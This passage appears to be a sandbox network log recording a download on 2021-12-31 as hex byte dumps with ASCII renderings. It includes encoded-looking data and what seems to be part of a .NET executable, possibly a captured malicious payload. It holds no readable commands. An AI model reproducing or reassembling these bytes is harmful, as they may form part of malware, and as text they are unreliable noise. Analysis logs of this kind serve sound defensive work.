,*#9@(Ei9@#a@(Ei#D@(Ei,!#@T@(Ei#D@(Ei#@(Ei,)#@T@(Ei94#=@(Ei#H@(Ei,X#P@(Ei#I@(Ei,"#@(Ei#I@
2021-12-31 18:13:30 UTC	902	IN	Data Raw: 52 7a f8 10 79 56 76 af 57 56 43 ac 79 75 59 87 5a 76 51 79 57 43 52 70 8b 55 78 56 f9 38 36 7a 43 52 7a 8b 55 78 56 f9 38 a7 56 63 52 70 75 59 87 57 4e 5a 59 57 43 20 f1 75 59 09 25 59 51 59 5d 39 ac 7c 74 59 53 56 77 51 42 67 47 52 ef 76 59 79 55 77 51 48 24 44 52 70 73 a7 77 56 77 af 55 57 43 72 6a 75 59 79 7e 47 51 59 5d 3e 51 70 75 5d 0a 5f 77 51 5f a9 4d 53 70 55 59 79 56 77 af 57 55 43 72 70 75 59 79 a8 79 52 59 77 43 52 70 75 a7 77 52 77 23 9a 57 43 22 58 44 59 79 5c f9 71 59 57 43 52 8e 76 a7 77 55 77 af 55 56 43 21 42 75 59 73 2b 73 51 59 53 30 61 70 75 53 5c a8 7b 50 59 a9 45 58 70 75 5f 0a 62 77 51 53 24 76 52 70 7f 36 4f 56 77 5b 7c a9 4f 53 70 8b 5f 72 56 77 57 2a 63 43 52 7a 06 6c 79 56 7d 3e 6f 57 43 58 55 8b 55 78 56 89 57 55 57 43 54 03 Data Ascii: RzyVvWVCyuYZvQyWCRpUxV86zCRzUxV8VcRpuYWNZYWC uY%YQY]9\|tYSVwQBgGRvYyUwQH$DRpswVwUWCrjuYy~GQY]>Qpu]_wQ_MSpUYyVwWUCrpuYyyRYwCRpuwRw#WC"XDYy\qYWCRvwUwUVC!BuYs+sQYS0apuS\{PYEXpu_bwQS$vRp6OVw[\|OSp_rVwW*cCRzlyV}>oWCXUUxVWUWCT
2021-12-31 18:13:30 UTC	918	IN	Data Raw: 56 75 74 4f 24 99 52 70 73 fb 5c 41 71 f3 71 83 43 52 76 7e 5e 7a 39 a5 50 59 51 6b 81 70 75 5f 16 53 76 51 53 53 6b 77 72 75 5f 7e 39 9d 50 59 51 69 41 40 70 59 2c 56 77 51 59 57 43 52 73 1a 9f 78 56 71 7d 15 53 6b 77 72 75 5f 51 64 77 51 5f 38 af 53 70 73 5d 51 73 75 51 5f 40 ce 14 70 75 5b 5c 40 04 a8 59 57 45 f0 58 a1 59 79 50 18 bf 58 57 45 56 58 50 5b 79 50 60 dc 1f 57 43 50 55 63 2a 85 56 77 57 fb 7f 97 52 70 73 36 89 57 77 57 73 57 43 52 6b 45 5f 79 40 76 51 59 7d 43 52 61 06 ba 79 56 7d 5b 5b 38 44 53 70 7f 52 41 b0 77 51 59 50 2c 5a 71 75 53 75 5e 18 36 58 57 45 3d 79 74 59 73 5b 4f e6 59 57 43 5b 1f 7f 58 79 5c 64 55 51 38 26 53 70 73 2b 75 55 77 21 48 53 2c 05 71 75 5f 51 0f 77 51 53 7f df 52 70 7f 2a d7 56 77 5b 48 53 2c 0b 71 75 5f 68 52 18 Data Ascii: VutO$Rps\AqqCRv~^z9PYQkpu_SvQSSkwru_~9PYQiA@pY,VwQYWCRsxVq}Skwru_QdwQ_8Sps]QsuQ_@pu[\@YWEXYyPXWEVXP[yP`WCPUcVwWRps6WwWsWCRkE_y@vQY}CRayV}[[8DSpRAwQYP,ZquSu^6XWE=ytYs[OYWC[Xy\dUQ8&Sps+uUw!HS,qu_QwQSRpVw[HS,qu_hR
2021-12-31 18:13:30 UTC	934	IN	Data Raw: 6e 56 56 61 72 7c 39 3c 51 59 5d 2c 6e 70 75 53 a7 55 51 8f 59 5e 2c 1e 70 75 53 54 c1 a9 5b 50 7b 45 5b 1f 76 59 79 5c ab 8f 53 5f 6f 54 78 1a 5a 79 56 7d 8d 87 5d 44 7e 76 72 36 7a 56 77 5b 85 89 40 74 ae 75 5f 53 56 77 50 19 57 43 52 70 2a 59 28 e6 77 52 5a 57 43 53 72 75 09 79 3b ca 51 53 57 43 52 70 77 59 30 56 f7 98 59 5d 43 52 70 75 5b 79 14 77 c2 8c 57 49 52 70 75 59 79 56 71 51 82 b6 43 51 73 75 59 78 4d 47 54 59 09 42 52 70 2c 59 79 47 04 63 59 57 49 58 6f 46 d4 3e 56 77 50 7c 87 46 53 70 71 71 fc 56 77 5b 2a 7b 43 52 7a 7e 27 cd 57 77 5b 5e 38 6e 53 70 7f 55 71 39 c2 50 59 5d 4e 44 63 71 61 a6 56 77 51 50 46 47 c8 63 70 51 68 53 18 7c 58 57 49 41 76 64 5f 54 55 63 7a 47 46 45 4d 7b f8 1e 79 56 76 74 89 77 42 52 74 5d dc 79 56 7d 22 75 57 43 58 Data Ascii: nVVar\|9<QY],npuSUQY^,puST[P{E[vYy\S_oTxZyV}]D~vr6zVw[@tu_SVwPWCRpY(wRZWCSruy;QSWCRpwY0VY]CRpu[ywWIRpuYyVqQCQsuYxMGTYBRp,YyGcYWIXoF>VwP\|FSpqqVw[{CRz~'Ww[^8nSpUq9PY]NDcqaVwQPFGcpQhS\|XWIAvd_TUczGFEM{yVvtwBRt]yV}"uWCX
2021-12-31 18:13:30 UTC	950	IN	Data Raw: 77 50 59 ce 7d 52 50 77 59 04 10 77 51 5a 57 1a 10 70 75 5d 79 06 35 51 59 52 43 c0 4f 75 59 7f 56 2b 6b 59 57 42 52 e9 4b 59 59 54 77 2c 1f 57 43 51 70 2c 1b 79 56 73 51 09 15 43 52 75 75 cb 46 56 77 57 59 0b 79 52 70 72 59 af 7d 77 51 51 57 89 6c 70 75 58 79 c4 48 51 59 55 43 ee 4f 75 59 78 56 bd 6f 59 57 41 52 d6 6b 59 79 57 77 c8 67 57 63 50 70 08 1f 79 56 74 51 1b 15 43 52 74 75 63 3b 56 77 54 59 03 79 52 70 74 59 e0 68 77 71 5b 57 3e 14 70 75 5a 79 14 35 51 59 53 43 68 32 75 59 7c 56 23 6b 59 57 45 52 a6 5e 59 79 51 77 9b 67 57 43 53 70 c9 66 79 56 76 51 93 69 43 52 72 75 ff 67 56 77 50 59 fd 6e 52 70 77 59 6b 12 77 71 5a 57 3d 71 72 75 5d 79 57 33 51 59 52 43 ec 4e 75 59 7f 56 c5 6f 59 57 44 52 32 37 59 79 5e 77 6b 1b 57 43 5b 70 21 63 79 56 76 51 Data Ascii: wPY}RPwYwQZWpu]y5QYRCOuYV+kYWBRKYYTw,WCQp,yVsQCRuuFVwWYyRprY}wQQWlpuXyHQYUCOuYxVoYWARkYyWwgWcPpyVtQCRtuc;VwTYyRptYhwq[W>puZy5QYSCh2uY\|V#kYWER^YyQwgWCSpfyVvQiCRrugVwPYnRpwYkwqZW=qru]yW3QYRCNuYVoYWDR27Yy^wkWC[p!cyVvQ
2021-12-31 18:13:30 UTC	966	IN	Data Raw: 63 46 75 2a 1c 22 28 18 3d 66 75 52 35 1b 2d 10 22 0e 60 6f 57 77 63 40 31 6c 4c 67 35 17 60 13 00 63 36 45 1a 3f 64 41 63 1c 63 07 10 41 45 6e 4e 61 4e 64 1d 62 75 17 35 36 69 4b 60 77 14 69 14 06 10 43 30 6d 4f 13 4f 64 6e 16 74 62 33 33 1b 4c 61 42 10 69 62 01 62 41 34 6f 4d 6e 47 67 18 6f 07 66 42 43 59 26 09 24 25 38 23 2a 31 31 07 2b 18 2f 3e 3f 30 23 17 2b 00 10 0a 10 2c 12 6c 6d 61 43 0d 2f 26 2d 18 22 1e 32 18 25 31 33 09 3c 37 10 22 23 28 29 32 10 3b 0a 10 64 4e 60 77 0e 06 04 37 33 04 1c 3a 38 24 05 30 20 1e 2d 3b 04 21 20 09 33 24 38 23 32 7e 61 48 4c 6f 79 09 28 02 2d 36 37 3b 13 34 2b 0b 37 0e 18 37 3e 37 06 09 05 3c 2a 3f 0d 34 64 61 43 6a 40 30 6c 38 66 36 63 1b 6f 72 16 32 47 6d 4e 65 36 17 1b 15 70 14 34 31 6f 3f 62 40 68 6f 60 73 10 47 Data Ascii: cFu"(=fuR5-"`oWwc@1lLg5`c6E?dAccAEnNaNdbu56iK`wiC0mOOdntb33LaBibbA4oMnGgofBCY&$%8#11+/>?0#+,lmaC/&-"2%13<7"#()2;dN`w73:8$0 -;! 3$8#2~aHLoy(-67;4+77>7<*?4daCj@0l8f6cor2GmNe6p41o?b@ho`sG
2021-12-31 18:13:30 UTC	982	IN	Data Raw: 56 31 51 30 57 2f 52 15 75 10 79 38 77 37 59 38 43 20 70 14 59 59 56 30 51 1f 57 2a 52 1c 75 3c 79 1f 77 3f 59 31 43 3d 70 2d 59 59 56 24 51 2d 57 22 52 12 75 1f 79 3f 77 3d 59 32 43 1b 70 1b 59 1f 56 18 51 35 57 26 52 70 64 1f 79 3f 77 3d 59 32 43 1b 70 1b 59 1f 56 18 51 59 76 0c 52 00 75 15 79 3f 77 3f 59 26 43 37 70 07 59 18 56 57 51 1e 57 0f 52 19 75 37 79 27 77 09 59 57 4a 1e 70 1c 59 17 56 06 51 59 0c 63 52 31 75 29 79 11 77 34 59 39 43 37 70 07 59 10 56 14 51 29 57 07 52 11 75 1e 79 33 77 3f 59 32 43 20 70 1c 59 1a 56 03 51 38 57 1f 52 22 75 1e 79 33 77 3f 59 32 43 20 70 1c 59 1a 56 18 51 38 57 2e 52 19 75 1e 79 33 77 3f 59 32 43 20 70 1c 59 1a 56 19 51 3e 57 1f 52 70 64 79 79 18 77 34 59 23 43 25 70 1a 59 0b 56 1c 51 59 42 63 52 35 75 21 79 22 77 Data Ascii: V1Q0W/Ruy8w7Y8C pYYV0QW*Ru<yw?Y1C=p-YYV$Q-W"Ruy?w=Y2CpYVQ5W&Rpdy?w=Y2CpYVQYvRuy?w?Y&C7pYVWQWRu7y'wYWJpYVQYcR1u)yw4Y9C7pYVQ)WRuy3w?Y2C pYVQ8WR"uy3w?Y2C pYVQ8W.Ruy3w?Y2C pYVQ>WRpdyyw4Y#C%pYVQYBcR5u!y"w
2021-12-31 18:13:30 UTC	998	IN	Data Raw: 6e 67 73 00 00 00 00 28 ed 07 00 e8 26 00 00 23 55 53 00 10 14 08 00 00 00 00 00 23 47 55 49 44 00 00 00 10 14 08 00 3c 0a 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 01 01 01 01 57 d5 b6 29 09 0f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 6d 00 00 00 2e 00 00 00 8e 00 00 00 3b 46 00 00 93 00 00 00 b7 00 00 00 23 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 08 00 00 00 08 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 28 00 00 00 01 00 00 00 01 00 00 00 07 00 00 00 03 00 00 00 24 00 00 00 04 00 00 00 14 00 00 00 00 00 82 d6 02 00 00 00 00 00 00 00 06 00 97 9c 00 00 5e b2 00 00 06 00 8e ae 00 00 34 a3 00 00 0a 00 22 13 00 00 5b ab 00 00 06 00 10 33 00 00 34 a3 00 00 0a 00 2a 9c 00 00 5b ab 00 00 06 00 91 41 00 00 34 a3 00 00 06 00 51 9b 00 00 34 a3 00 00 06 00 Data Ascii: ngs(&#US#GUID<#BlobW)%3m.;F#($^4"[34*[A4Q4
2021-12-31 18:13:30 UTC	1014	IN	Data Raw: 00 00 00 00 91 00 12 31 03 00 18 00 02 00 88 25 00 00 00 00 91 00 f2 f8 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 30 17 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 0a 22 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 d3 9c 02 00 18 00 02 00 88 25 00 00 00 00 91 00 53 65 03 00 18 00 02 00 88 25 00 00 00 00 91 00 fa ab 01 00 18 00 02 00 88 25 00 00 00 00 91 00 d5 64 02 00 18 00 02 00 88 25 00 00 00 00 91 00 ca 63 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 50 29 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 31 c2 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 ee 22 01 00 18 00 02 00 88 25 00 00 00 00 91 00 44 15 00 00 18 00 02 00 88 25 00 00 00 00 91 00 b8 26 02 00 18 00 02 00 88 25 00 00 00 00 91 00 53 d3 01 00 18 00 02 00 88 25 00 00 00 00 91 00 bf 66 03 00 18 00 02 00 88 Data Ascii: 1%%0%"%%Se%%d%c%P)%1%"%D%&%S%f
2021-12-31 18:13:30 UTC	1030	IN	Data Raw: 00 00 00 00 91 00 3c 92 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 66 3d 03 00 18 00 02 00 88 25 00 00 00 00 91 00 3b ec 01 00 18 00 02 00 88 25 00 00 00 00 91 00 a8 4d 00 00 18 00 02 00 88 25 00 00 00 00 91 00 d8 4a 01 00 18 00 02 00 88 25 00 00 00 00 91 00 3c 74 00 00 18 00 02 00 88 25 00 00 00 00 91 00 0d c4 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 c4 ce 00 00 18 00 02 00 88 25 00 00 00 00 91 00 71 2d 01 00 18 00 02 00 88 25 00 00 00 00 91 00 21 6e 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 8f ff 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 3b 0f 01 00 18 00 02 00 88 25 00 00 00 00 91 00 ce 05 01 00 18 00 02 00 88 25 00 00 00 00 91 00 f6 cc 00 00 18 00 02 00 88 25 00 00 00 00 91 00 a7 6e 01 00 18 00 02 00 88 25 00 00 00 00 91 00 72 6b 01 00 18 00 02 00 a0 Data Ascii: <%f=%;%M%J%<t%%%q-%!n%%;%%%n%rk
2021-12-31 18:13:30 UTC	1046	IN	Data Raw: 00 00 00 00 91 00 6d f6 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 22 fc 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 8f 45 02 00 18 00 02 00 88 25 00 00 00 00 91 00 48 06 01 00 18 00 02 00 88 25 00 00 00 00 91 00 3c 1a 00 00 18 00 02 00 88 25 00 00 00 00 91 00 51 1d 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 c2 8e 00 00 18 00 02 00 88 25 00 00 00 00 91 00 72 05 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 ae f7 01 00 18 00 02 00 88 25 00 00 00 00 91 00 7e 50 01 00 18 00 02 00 88 25 00 00 00 00 91 00 8e ee 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 82 41 01 00 18 00 02 00 88 25 00 00 00 00 91 00 2c 53 01 00 18 00 02 00 88 25 00 00 00 00 91 00 b8 ba 02 00 18 00 02 00 88 25 00 00 00 00 91 00 53 bc 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 59 28 02 00 18 00 02 00 a0 Data Ascii: m%"%E%H%<%Q%%r%%~P%%A%,S%%S%Y(
2021-12-31 18:13:30 UTC	1062	IN	Data Raw: 00 00 00 00 91 00 b4 77 02 00 18 00 02 00 88 25 00 00 00 00 91 00 e9 1f 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 89 e8 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 7d f8 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 5d 3a 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 4a c0 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 0d 15 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 aa 45 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 18 a0 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 6c 58 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 65 fe 02 00 18 00 02 00 88 25 00 00 00 00 91 00 56 07 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 d5 69 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 63 21 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 06 27 00 00 18 00 02 00 88 25 00 00 00 00 91 00 fc cc 02 00 18 00 02 00 88 Data Ascii: w%%%}%]:%J%%E%%lX%e%V%i%c!%'%
2021-12-31 18:13:30 UTC	1078	IN	Data Raw: 3f 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 e7 4b 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 59 ce 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 1c 88 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 2b 29 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 0f 60 02 00 18 00 02 00 88 25 00 00 00 00 91 00 02 fe 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 9f fa 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 d1 62 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 8b 1c 02 00 18 00 02 00 88 25 00 00 00 00 91 00 53 cb 02 00 18 00 02 00 88 25 00 00 00 00 91 00 c3 32 02 00 18 00 02 00 88 25 00 00 00 00 91 00 2b 93 01 00 18 00 02 00 88 25 00 00 00 00 91 00 01 1a 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 f9 dd 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 14 52 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 Data Ascii: ?%K%Y%%+)%`%%%b%%S%2%+%%%R%
2021-12-31 18:13:30 UTC	1094	IN	Data Raw: 8a 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 82 73 00 00 18 00 02 00 88 25 00 00 00 00 91 00 06 6b 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 1b df 00 00 18 00 02 00 88 25 00 00 00 00 91 00 7b 11 02 00 18 00 02 00 88 25 00 00 00 00 91 00 23 05 01 00 18 00 02 00 88 25 00 00 00 00 91 00 b6 5d 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 1b b0 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 c2 28 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 1f e1 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 af a3 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 45 93 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 79 81 02 00 18 00 02 00 88 25 00 00 00 00 91 00 bb 3c 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 cd c6 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 17 fa 02 00 18 00 02 00 88 25 00 00 00 00 91 00 Data Ascii: %s%k%%{%#%]%%(%%%E%y%<%%%
2021-12-31 18:13:30 UTC	1110	IN	Data Raw: 08 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 b3 bf 02 00 18 00 02 00 88 25 00 00 00 00 91 00 f7 a4 01 00 18 00 02 00 88 25 00 00 00 00 91 00 34 1e 02 00 18 00 02 00 88 25 00 00 00 00 91 00 46 50 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 09 e4 01 00 18 00 02 00 88 25 00 00 00 00 91 00 2b df 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 68 42 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 f4 e9 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 37 84 00 00 18 00 02 00 88 25 00 00 00 00 91 00 88 e2 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 6f ed 00 00 18 00 02 00 88 25 00 00 00 00 91 00 3a 17 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 15 8a 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 a4 e3 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 3f f8 00 00 18 00 02 00 88 25 00 00 00 00 91 00 Data Ascii: %%%4%FP%%+%hB%%7%%o%:%%%?%
2021-12-31 18:13:30 UTC	1126	IN	Data Raw: 92 01 00 18 00 02 00 88 25 00 00 00 00 91 00 a3 6c 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 f0 1a 00 00 18 00 02 00 88 25 00 00 00 00 91 00 c8 64 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 bc 1d 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 35 b9 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 15 1f 02 00 18 00 02 00 88 25 00 00 00 00 91 00 bc 37 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 29 48 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 f6 d8 01 00 18 00 02 00 88 25 00 00 00 00 91 00 95 e7 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 31 22 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 8f f9 00 00 18 00 02 00 88 25 00 00 00 00 91 00 7d 1e 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 01 15 01 00 18 00 02 00 88 25 00 00 00 00 91 00 66 a1 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 Data Ascii: %l%%d%%5%%7%)H%%%1"%%}%%f%
2021-12-31 18:13:30 UTC	1142	IN	Data Raw: 25 00 00 00 00 91 00 59 7b 01 00 18 00 02 00 88 25 00 00 00 00 91 00 64 2d 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 66 ad 02 00 18 00 02 00 88 25 00 00 00 00 91 00 c9 ce 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 a8 e9 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 ec cb 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 d8 71 01 00 18 00 02 00 88 25 00 00 00 00 91 00 b0 e3 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 05 90 00 00 18 00 02 00 88 25 00 00 00 00 91 00 ab f3 00 00 18 00 02 00 88 25 00 00 00 00 91 00 15 09 02 00 18 00 02 00 88 25 00 00 00 00 91 00 2d 7e 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 12 19 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 21 c2 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 6d b2 02 00 18 00 02 00 88 25 00 00 00 00 91 00 4d 13 01 00 18 00 02 00 Data Ascii: %Y{%d-%f%%%%q%%%%%-~%%!%m%M
2021-12-31 18:13:30 UTC	1158	IN	Data Raw: 25 00 00 00 00 91 00 bc ad 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 bb e6 01 00 18 00 02 00 88 25 00 00 00 00 91 00 78 79 02 00 18 00 02 00 88 25 00 00 00 00 91 00 5d 49 01 00 18 00 02 00 88 25 00 00 00 00 91 00 ef 2f 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 5c bb 02 00 18 00 02 00 88 25 00 00 00 00 91 00 83 d9 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 eb 20 00 00 18 00 02 00 88 25 00 00 00 00 91 00 ff 2d 02 00 18 00 02 00 88 25 00 00 00 00 91 00 a7 f6 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 19 cc 00 00 18 00 02 00 88 25 00 00 00 00 91 00 c7 e7 00 00 18 00 02 00 88 25 00 00 00 00 91 00 98 59 03 00 18 00 02 00 88 25 00 00 00 00 91 00 92 8a 02 00 18 00 02 00 88 25 00 00 00 00 91 00 13 ec 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 35 7a 01 00 18 00 02 00 Data Ascii: %%%xy%]I%/%\%% %-%%%%Y%%%5z
2021-12-31 18:13:30 UTC	1174	IN	Data Raw: d0 a3 01 00 18 00 02 00 88 25 00 00 00 00 91 00 5a 31 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 3b 7e 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 6d cf 00 00 18 00 02 00 88 25 00 00 00 00 91 00 8d 54 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 db 87 01 00 18 00 02 00 88 25 00 00 00 00 91 00 c0 e1 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 9e c3 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 19 28 01 00 18 00 02 00 88 25 00 00 00 00 91 00 e9 2e 01 00 18 00 02 00 88 25 00 00 00 00 91 00 1e db 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 6e b8 00 00 18 00 02 00 88 25 00 00 00 00 91 00 14 de 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 e1 11 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 e7 ca 01 00 18 00 02 00 88 25 00 00 00 00 91 00 41 06 02 00 18 00 02 00 88 25 00 00 00 00 91 Data Ascii: %Z1%;~%m%T%%%%(%.%%n%%%%A%
2021-12-31 18:13:30 UTC	1190	IN	Data Raw: 16 09 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 84 48 02 00 18 00 02 00 88 25 00 00 00 00 91 00 16 2a 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 de 30 03 00 18 00 02 00 88 25 00 00 00 00 91 00 99 81 02 00 18 00 02 00 88 25 00 00 00 00 91 00 62 1b 01 00 18 00 02 00 88 25 00 00 00 00 91 00 71 3d 00 00 18 00 02 00 88 25 00 00 00 00 91 00 c8 bd 01 00 18 00 02 00 88 25 00 00 00 00 91 00 e4 44 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 af 04 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 1c ff 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 5b 29 00 00 18 00 02 00 88 25 00 00 00 00 91 00 3c 45 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 f3 14 01 00 18 00 02 00 88 25 00 00 00 00 91 00 c7 cf 01 00 18 00 02 00 88 25 00 00 00 00 91 00 42 4f 01 00 18 00 02 00 a0 25 00 00 00 00 91 Data Ascii: %H%*%0%%b%q=%%D%%%[)%<E%%%BO%
2021-12-31 18:13:30 UTC	1206	IN	Data Raw: c6 4e 00 00 18 00 02 00 88 25 00 00 00 00 91 00 48 f7 01 00 18 00 02 00 88 25 00 00 00 00 91 00 8e 21 02 00 18 00 02 00 88 25 00 00 00 00 91 00 f4 16 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 06 31 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 97 6a 00 00 18 00 02 00 88 25 00 00 00 00 91 00 fe 81 02 00 18 00 02 00 88 25 00 00 00 00 91 00 f4 00 00 00 18 00 02 00 88 25 00 00 00 00 91 00 d8 92 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 3b 79 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 0b 8e 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 b9 dd 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 35 ba 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 24 1b 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 3b 76 00 00 18 00 02 00 88 25 00 00 00 00 91 00 7d d1 02 00 18 00 02 00 88 25 00 00 00 00 91 Data Ascii: N%H%!%%1%j%%%%;y%%%5%$%;v%}%
2021-12-31 18:13:30 UTC	1222	IN	Data Raw: c1 05 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 db 72 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 bf c4 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 ad 39 01 00 18 00 02 00 88 25 00 00 00 00 91 00 31 f4 02 00 18 00 02 00 88 25 00 00 00 00 91 00 5a 22 00 00 18 00 02 00 88 25 00 00 00 00 91 00 da 36 03 00 18 00 02 00 88 25 00 00 00 00 91 00 2f 31 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 67 95 00 00 18 00 02 00 88 25 00 00 00 00 91 00 15 a0 02 00 18 00 02 00 88 25 00 00 00 00 91 00 34 56 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 99 90 02 00 18 00 02 00 88 25 00 00 00 00 91 00 da e2 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 89 6b 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 d2 4b 03 00 18 00 02 00 a0 25 00 00 00 00 91 00 e0 54 02 00 18 00 02 00 88 25 00 00 00 00 91 Data Ascii: %r%%9%1%Z"%6%/1%g%%4V%%%k%K%T%
2021-12-31 18:13:30 UTC	1238	IN	Data Raw: 00 88 25 00 00 00 00 91 00 7f b3 00 00 18 00 02 00 88 25 00 00 00 00 91 00 4b b7 01 00 18 00 02 00 88 25 00 00 00 00 91 00 b8 e7 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 51 00 03 00 18 00 02 00 88 25 00 00 00 00 91 00 5a e1 01 00 18 00 02 00 88 25 00 00 00 00 91 00 5c 13 02 00 18 00 02 00 a0 25 00 00 00 00 91 00 8f d8 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 4a 8e 01 00 18 00 02 00 a0 25 00 00 00 00 91 00 a2 54 00 00 18 00 02 00 88 25 00 00 00 00 91 00 23 0b 00 00 18 00 02 00 88 25 00 00 00 00 91 00 cf a8 01 00 18 00 02 00 88 25 00 00 00 00 91 00 a3 1a 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 94 3e 00 00 18 00 02 00 88 25 00 00 00 00 91 00 73 0b 03 00 18 00 02 00 88 25 00 00 00 00 91 00 82 47 00 00 18 00 02 00 a0 25 00 00 00 00 91 00 4e 2c 00 00 18 00 Data Ascii: %%K%%Q%Z%\%%J%T%#%%%>%s%G%N,
